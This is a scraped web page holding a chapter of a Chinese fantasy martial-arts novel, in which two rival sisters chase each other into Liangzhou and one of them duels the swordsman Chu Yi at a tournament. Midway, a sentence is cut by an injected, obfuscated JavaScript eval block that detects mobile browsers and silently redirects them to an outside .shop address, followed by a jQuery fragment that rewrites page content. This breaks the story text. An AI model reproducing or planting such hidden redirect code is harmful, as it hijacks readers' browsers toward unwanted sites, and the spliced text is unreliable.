却说二人一路斗法,经过偏隅小镇,穿渡重山江河,不知不觉间已奔逐八九百里,竟直直从乌斯藏地界斗入了大唐西境。蛊凌儿数次凭着自己诡谲灵巧的身法,从瑛十三娘眼皮子底下溜走。
或是藏匿在山岗古祠中,倚着残缺神像佯歇作嬉,冷不丁递出一袭杀招。又或是绕入荒泽迷障里,吹笛引出水蛇群鳄,阻得瑛十三娘辨位难寻。
“师姐,都跟了我两天两夜,难道没发觉就算稍胜一两百岁修为,你也拿我没办法么?咱们还是就此别过吧!”
“少废话,要不是师傅嘱托,才懒得理你!”
二人斗嘴话应,身手却未有片刻迟滞。瑛十三娘几次遥遥发招,想要擒住蛊凌儿,却都被她借势避开。
没过多时,忽闻有鼎沸人声彻空而来,一座繁华城池横亘在前。城门处幡旗招展,胡商汉贾的驼马商车往来如织,城门之上,赫然嵌刻着两个笔势英伟的大字——“凉州”。
蛊凌儿举目望去,心下立时有了新计较。
素手一挥,暗道:“换个法子跟你玩。”
**
凉州城内,平日身着华裳,手捧葡酒的过路客商本就多许,近来这十日里,更是气象鼎盛,算不得“太平”!
城中闹市街巷早已挤满了人头,茶坊酒肆中议论的皆是同一件盛事。
“我朝圣天子一路从马背上定邦安天下。这凉州之界,更是好武之风盛行。”
“就说时下这热热闹闹的英雄大会,江湖各派,千里迢迢云英于城中,以武论教选出今年的新辈翘楚。”
炎炎日头下,茶坊的说书人看着一众听得津津有味的茶客,说了一轮又一轮,已是燥热口干。赶紧端起茶碗润了润嗓子,继续道:
“诸位客官要是有兴,可去城中较场观摩。这英雄大会一次比九天,摆的是流水擂台!谁愿意一展威风争个名头的,切磋交友的,都可以自报家门上台!”
“谁能在这擂台上站到第九天啊,谁就是今年的武魁首!”
一客人好奇嚷道:“若是第九天遇到旗鼓相当的,决不出胜负又咋办!”
说书人笑道:“巧了,客官就等您问这句!这英雄大会还有个别称,叫做“九日争雄,十日论武”,等到最后一日,江湖各路名流们,会对翘楚的招式功法一一品评,若是遇到决不出胜负的,自然是听各派名家们的,最终论出武魁首。”
茶馆外一片紫衫衣角灵动而过,烈日打在明晃晃的砖石路上,说书人微微恍神。
百步外的较场,宽阔的擂台此刻被看客围得里三层外三层。
人声鼎沸中,只听“铛”一声金铁爆鸣!一道褐色人影踉跄震落,他脱手的长刀被巨力激得倒飞上半空,眼看就要砸向看台下的人群!
高台之上,着绀青色布衫的年轻剑客只瞟了一眼,劲臂一挥,用剑气将那柄长刀挑向无人处,方才缓缓收回自己的宽剑。
“啧啧,楚少侠剑气贯虹,一连九天已无对手啊!”
“略算一下,快刀门这位已是第三十六个了?”
底下观斗的江湖人士见状,不由感叹连连。
楚逸负剑立于擂台中央,接受江湖名门的目光巡礼,自始至终未发一言。
九天,他只用了九天。
——让整个凉州城,都记住了他的名字。
少年剑客初来乍到,面上依旧不卑不亢。只是那峰眉星目下挡不住的风发意气,却好似在问:还有谁?
“有趣有趣,我来跟你打!”
一道轻俏紫影从人群中掠出,众人循声望去,还未看清来处,那身影已稳稳跃上了擂台。
说话的正是蛊凌儿,竟不知何时已换了身利落的劲装打扮,看上去跟江湖人士别无二致。
楚逸打量过去,来人是一个笑意盈盈的单薄少女,只淡淡道:“刀剑无眼,你要赤手空拳跟我比试?”
看客们见此情景也议论纷纷:楚少侠的剑境大家已见识领教,这不知哪冒出来的小丫头,瞧着娇滴滴的,也不怕被一剑扫下台去?
蛊凌儿对满场议论恍若未闻,摸向短笛,忽然皱起眉心。复又朝台下寻思一圈,就近夺了一女侠的麒麟鞭,掂量着试试,还算趁手,便道:“莫说我欺负你,这鞭子我会用,就拿这个比!”
楚逸波澜不惊的脸上,终于有所松动:“口气倒不小。既是对手,无分男女,还请阁下赐教!”
话还未落,二人几乎是同时起势!
楚逸展臂一挥,足下生风,起手一记破风势直劈向蛊凌儿!
那宽剑刃阔二寸,长近四尺,内厚外薄,刃锋处锐利无匹。
一剑既出,锐啸长空,势必要摧坚斩敌!
蛊凌儿看入眼中,只轻笑道:“不够快,脚下还是太慢了!”
说罢,沉腕急抖,麒麟鞭的钢节次第展伸,如灵蛇闪尾般窜向楚逸。
这一鞭所袭非人,是冲剑来的。那鞭梢一抢一缠,冷不防绞爬上了剑身!
楚逸见势不妙,身形陡滞,剑锋奋力下沉,麒麟鞭被剑势强拽,险险要钉落在地。分毫之间,他弹地一蹬,却是借力飞空用腿横扫向蛊凌儿!
眼看相距太近,二人兵器正痴缠得难舍难分,蛊凌儿只得先行躲闪。偏这一闪,缷了鞭子的劲道,楚逸趁机抽出了佩剑。
一招占先,楚逸未有松懈,眼前这女子身法如电,他犹有不及。
可就这一分不及,却激起他更浓烈的剑意!
蛊凌儿疾手收鞭,楚逸眸光锐聚,死死瞄准那转瞬即逝的破绽,挥剑猛至跟前。
蛊凌儿见状双手一横,绷直鞭身巧劲泄力,倏尔又甩鞭绕至楚逸背后了去。
她身手愈灵,他攻势愈快,不过数招,众人眼中只剩下漫天的残光剑影!
围观看客们尽皆看入了神,人群中忽起慨叹:
“想不到收官之日,还能看到跟楚少侠分庭抗礼的奇人!今年的凉州当真藏龙卧虎啊!”
唯余一人听了这些吹嘘拍马的胡话,由不得想冷笑——原是瑛十三娘亦褪去自己妖装,幻化出一身钗裙打扮,混迹在人海中默默窥伺了良久。
只待着热闹散去,好一把上前扣住蛊凌儿。
楚逸剑意正盛,剑招稳疾不乱,一招使出复又变换层层不绝的后手。饶是蛊凌儿身法走位飘逸,可在擂台之上她自禁术法神通,渐渐也感觉到久战必对自己不利。
瑛十三娘轻拢着胸前一缕青丝,半晌也瞧出了些门道。纤眉微挑,暗忖何不助这小子一手,若能教蛊凌儿当众出丑,倒也有趣。
于是瞅准时机,指尖弹出一只隐密寐虫,只要能沾肤咬上蛊凌儿一口,她的身子势必在下一剑袭近前麻滞。
熟料这寐虫刚破空飞了不足丈许,竟垂直焦化坠下!
瑛十三娘心头微惊,不信邪,复凝妖力再弹一只。
可这只更惨!甫一出,似有一股寒风侵掠,虫身顷刻化作了焦黑碎末。
一次尚可归于巧合,两次这般……她看在眼里,顿觉不妙。
此处乃唐国西陲要塞,三路关山、两河襟带交汇之重镇,事常必有能人异士经留。
正思忖间,一股浩然灵息悄然流散在人潮当中,精纯明湛,似要将擂台与观众无形隔离。
发现了?
瑛十三娘发丝卷动,玉指陡然缩回,不敢再行动作。心中暗道:眼下人多纷杂,若继续闹下去,恐引起更多双眼睛注意,犯不着节外生枝。师妹这边要不先放她两天,此次出来师傅还交代了另一要紧事——算算日子,东海里那尊小祖宗也是时候该出来了。
千锋如梭,蛊凌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17767140|209753||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
儿旋身侧遁,长鞭随转,在漫天的剑风中猛地穿锋拍过!
楚逸一记“锋回燕返”,回剑疾削向胸前长鞭。麒麟鞭见势不退,鞭梢径直回钩,妄欲绞断楚逸持剑的右腕。
楚逸目光陡沉,奋力挥腕,刷地将鞭节高挑过头顶。
霎时间二人面对于面,中门大开,已是吐息可闻。
二人定在原地,剑脊与鞭身死死绞缠,脚下板木寸寸裂开,谁也不敢先一步撤力。
围观看客瞠目结舌:方才还嫌他们走位残影如电,晃花了眼,现下怎就如石像般僵固住了?
更匪夷所思的是,那楚逸的宽剑与蛊凌儿的麒麟鞭,本应斥力相抵,可没眨眼的功夫,竟似生出血肉羁绊般,谁也分不开谁了!
楚逸觉察到剑柄处传来一阵诡异劲流,窜入他掌心立时发胀发麻,剑柄几要把握不住。
蛊凌儿神色如常,只嘴角几不可察地一勾。
楚逸心中惊乱,右手竭力行将脱剑——她的手突然将鞭柄肆意一掷,剑鞭相撞,铮的一声,双双怒弹向高空!
翻转数下,又“哐当”一声,齐齐砸落在地。
擂台之上,较场四周,鸦雀无声。
蛊凌儿拾起鞭子,信手掷回台下,即道:“没意思,不打啦!”
楚逸亦转身,抬手将宽剑归鞘。
偌大的较场,数千看客,俱是阵阵哗然,无一人能说清楚最后那风驰霆影间究竟发生了什么。
一场激烈鏖战,眼看再进半招便要见分晓!怎就这样息鼓作罢?
遗憾!真是遗憾!
蛊凌儿本就是因为瑛十三娘紧追不放,才入城乱中搏一机巧。眼下感知师姐气息不在,便也没有兴头再比下去。
她高扬起头,对上楚逸沉疑的视线,笑靥靥道:
“算你赢吧!本女侠无暇奉陪啦。”
言罢,已然双臂鹤展,在空中跃出一道弧线。
台下看客们交头窃窃私语,令楚逸颇感不耐。
城中东道主事一看,这无名女侠遁走,楚少侠也作势下台,足足角逐了九日的英雄大会,岂能跑路收场!?
遂忙不迭赶步上前,高唤道:“楚少侠留步!”
楚逸驻足,眉目漠然,淡淡道:“还有事?”
主事拱手礼笑,语气殷切:“楚少侠天纵英才,连战九日称雄不败,妥妥的今年武魁首!咱们凉州城的李都督还特赠了一块魁首玉牌,要给本次英雄大会添彩呢!”
一边说,一边侍从已将盛着玉牌的锦盘递与楚逸跟前。
那玉牌四方,莹润无暇,正中双狮团纹簇着“武魁”二字,确是块上好的脂玉。
楚逸扫了一眼,视线锁回自己握剑的掌心,缓声道:“我要这东西做甚。”
他若有所思地转身,人潮不由为他分开道路,徒为英雄大会留下一个孤独负剑的背影。
日央西斜,风过沙野。朔风沙沙作响,刚吹入城,渐渐伏没在街巷酒肆的琵琶声中。
楚逸穿过大街小巷,总算望见了城门,轻叹一口气,继又抬头眺望向寂寥无云的天。
便在此刻,一个温文的声音忽然叫住了他
——还是方才那句:“少侠请留步。”
楚逸皱眉回过身,来人持扇衣袂微扬,自带清逸出尘的端方。
他疑惑看着他问:“你又是何人?”
扶尘含笑道:“自是来找你的人。”
“你我素不相识,若是想论武……”
他再次伸开自己的掌心,喃喃道:“其实方才是我败了。”
扶尘朗步近前,云篆扇遥指他右手,语气笃定如观火:“我若不来找你,今晚你这手臂,可就要筋脉尽残,废在凉州了。”
初成名的剑客听完这话,指节曲紧,心头巨震。